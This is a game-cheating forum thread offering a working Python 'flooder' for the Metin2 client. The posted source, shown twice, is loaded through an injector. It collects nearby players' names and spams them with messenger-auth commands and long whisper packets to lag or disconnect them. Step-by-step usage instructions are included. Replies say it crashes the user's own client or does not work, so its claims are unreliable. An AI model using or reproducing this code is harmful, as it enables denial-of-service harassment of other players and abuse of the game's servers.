Today morning I found out a new way to simulate a huge lag at the players, or even kick them out. This hack sends a chat message to the server with the following content:
Code:
/messenger_auth x [Player name]
..and server sends a message to the target player with the following content:
"xy doesn't allowed to add you as contact"
Overall how it works?
The hack gets the name of players around you, and floods the above said command to each of them.
Each of them?
Yes, so you receive the best result if you're on the most popular map.
Every player gets kicked, is it 100%?
No. It also depends on their network and hardware.
How can I use it?
1. Download and drop the mt2_injector.mix and flooder.py to the client folder.
2. Start the game
3. Write "flooder.py" to the command window
Can you share the source?
Yes, here is the source of the currently working injector and python file:
import ui
import m2net
import chr
import player
class Flooder(ui.BoardWithTitleBar):
def __init__(self):
ui.BoardWithTitleBar.__init__(self)
self.AddFlag("movable")
self.AddFlag("float")
self.SetPosition(10,10)
self.SetSize(100,150)
self.SetTitleName("Flooder")
# Start flood button
floodBtn = ui.Button()
floodBtn.SetParent(self)
floodBtn.SetPosition(20,35)
floodBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
floodBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
floodBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
floodBtn.SetText("Flood")
floodBtn.SetEvent(lambda:self.OnStart())
floodBtn.Show()
self.floodBtn = floodBtn
# Stop flood button
stopBtn = ui.Button()
stopBtn.SetParent(self)
stopBtn.SetPosition(20,70)
stopBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
stopBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
stopBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
stopBtn.SetText("Stop")
stopBtn.SetEvent(lambda:self.OnStop())
stopBtn.Show()
self.stopBtn = stopBtn
# Get around players button
aroundBtn = ui.Button()
aroundBtn.SetParent(self)
aroundBtn.SetPosition(20, 110)
aroundBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
aroundBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
aroundBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
aroundBtn.SetText("Get arounds")
aroundBtn.SetEvent(lambda:self.OnGetAroundPlayers())
aroundBtn.Show()
self.aroundBtn = aroundBtn
self.AroundPlayers = []
self.IsFlood = 0
self.Show()
def __del__(self):
ui.BoardWithTitleBar.__del__(self)
# Starts the flooding
def OnStart(self):
self.SetTitleName("Flooding") # Change the text of the window to the current players name
self.IsFlood = 1 # Start the flooding
# Stops the flooding
def OnStop(self):
self.SetTitleName("Flooder") # Change the text of the window to 'Flooder'
self.IsFlood = 0 # Stop the flooding
# Gets the nearly players
def OnGetAroundPlayers(self):
self.AroundPlayers = [] # Clear the list which contains the name of nearly players
for i in xrange(100, 4000000): # Check virtual IDs between 100 and 4000000
if chr.HasInstance(i): # If the current virtual ID exist
Name = chr.GetNameByVID(i) # Get the name of the current virtual ID owner
if chr.GetInstanceType(i) == chr.INSTANCE_TYPE_PLAYER and Name != player.GetName() and Name[0] != "[": # If the current virtual ID owner is PC, it's not me and it's not a game master
self.AroundPlayers.append(Name) # Add the name of the current player to the list
def OnUpdate(self):
if self.IsFlood == 1: # If the flooding enabled
for Name in self.AroundPlayers: # Go through each player in the list
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
Flooder()
Today morning I found out a new way to simulate a huge lag at the players, or even kick them out. This hack sends a chat message to the server with the following content:
Code:
/messenger_auth x [Player name]
..and server sends a message to the target player with the following content:
"xy doesn't allowed to add you as contact"
Overall how it works?
The hack gets the name of players around you, and floods the above said command to each of them.
Each of them?
Yes, so you receive the best result if you're on the most popular map.
Every player gets kicked, is it 100%?
No. It also depends on their network and hardware, but I also added the already known PM flooder which is highly increase the possibility of the kick.
How can I use it?
1. Download and drop the mt2_injector.mix and flooder.py to the client folder.
2. Start the game
3. Write "flooder.py" to the command window
Can you share the source?
Yes, here is the source of the currently working injector and python file:
import ui
import m2net
import chr
import player
class Flooder(ui.BoardWithTitleBar):
def __init__(self):
ui.BoardWithTitleBar.__init__(self)
self.AddFlag("movable")
self.AddFlag("float")
self.SetPosition(10,10)
self.SetSize(100,150)
self.SetTitleName("Flooder")
# Start flood button
floodBtn = ui.Button()
floodBtn.SetParent(self)
floodBtn.SetPosition(20,35)
floodBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
floodBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
floodBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
floodBtn.SetText("Flood")
floodBtn.SetEvent(lambda:self.OnStart())
floodBtn.Show()
self.floodBtn = floodBtn
# Stop flood button
stopBtn = ui.Button()
stopBtn.SetParent(self)
stopBtn.SetPosition(20,70)
stopBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
stopBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
stopBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
stopBtn.SetText("Stop")
stopBtn.SetEvent(lambda:self.OnStop())
stopBtn.Show()
self.stopBtn = stopBtn
# Get around players button
aroundBtn = ui.Button()
aroundBtn.SetParent(self)
aroundBtn.SetPosition(20, 110)
aroundBtn.SetUpVisual("d:/ymir work/ui/public/middle_button_01.sub")
aroundBtn.SetOverVisual("d:/ymir work/ui/public/middle_button_02.sub")
aroundBtn.SetDownVisual("d:/ymir work/ui/public/middle_button_03.sub")
aroundBtn.SetText("Get arounds")
aroundBtn.SetEvent(lambda:self.OnGetAroundPlayers())
aroundBtn.Show()
self.aroundBtn = aroundBtn
self.AroundPlayers = []
self.IsFlood = 0
self.Message = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
self.Show()
def __del__(self):
ui.BoardWithTitleBar.__del__(self)
# Starts the flooding
def OnStart(self):
self.SetTitleName("Flooding") # Change the text of the window to the current players name
self.IsFlood = 1 # Start the flooding
# Stops the flooding
def OnStop(self):
self.SetTitleName("Flooder") # Change the text of the window to 'Flooder'
self.IsFlood = 0 # Stop the flooding
# Gets the nearly players
def OnGetAroundPlayers(self):
self.AroundPlayers = [] # Clear the list which contains the name of nearly players
for i in xrange(100, 4000000): # Check virtual IDs between 100 and 4000000
if chr.HasInstance(i): # If the current virtual ID exist
Name = chr.GetNameByVID(i) # Get the name of the current virtual ID owner
if chr.GetInstanceType(i) == chr.INSTANCE_TYPE_PLAYER and Name != player.GetName() and Name[0] != "[": # If the current virtual ID owner is PC, it's not me and it's not a game master
self.AroundPlayers.append(Name) # Add the name of the current player to the list
def OnUpdate(self):
if self.IsFlood == 1: # If the flooding enabled
for Name in self.AroundPlayers: # Go through each player in the list
m2net.SendWhisperPacket(Name, self.Message) # Send the whisper packet
m2net.SendWhisperPacket(Name, self.Message) # Send the whisper packet
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
m2net.SendChatPacket("/messenger_auth x " + Name) # Send the '/messenger_auth x [Player name]' command ('x' can be anything you want, except 'y')
Flooder()
It works, well. It doesn't works in middle town (Then you crash yourself). And it doesn't crash or give a lag to people at all. I tested it with another char. I do get the messages but it doesn't crash me or gives me a lag.
I open The client and type flooder.py in the window and the client close instant... i do it on login screen, at loading screen and ingame screen but even instant close...
It does inject en the window for the hack does pop up, but the hack itself actuelly only works outside town and it doesn't lag or dc people (On my NL server).
[ReLease] Sf Lagger V1.2] Still Working Untill Patching] 11/04/2010 - Soldier Front Hacks, Bots, Cheats & Exploits - 5 Replies Sf Lagger V1.2
1: DownLoad The file
2: Then No Need To Extract Drag On Dekstop
3: Click The Sf Lagger V1.2
4: Then Put 100-300 KB/S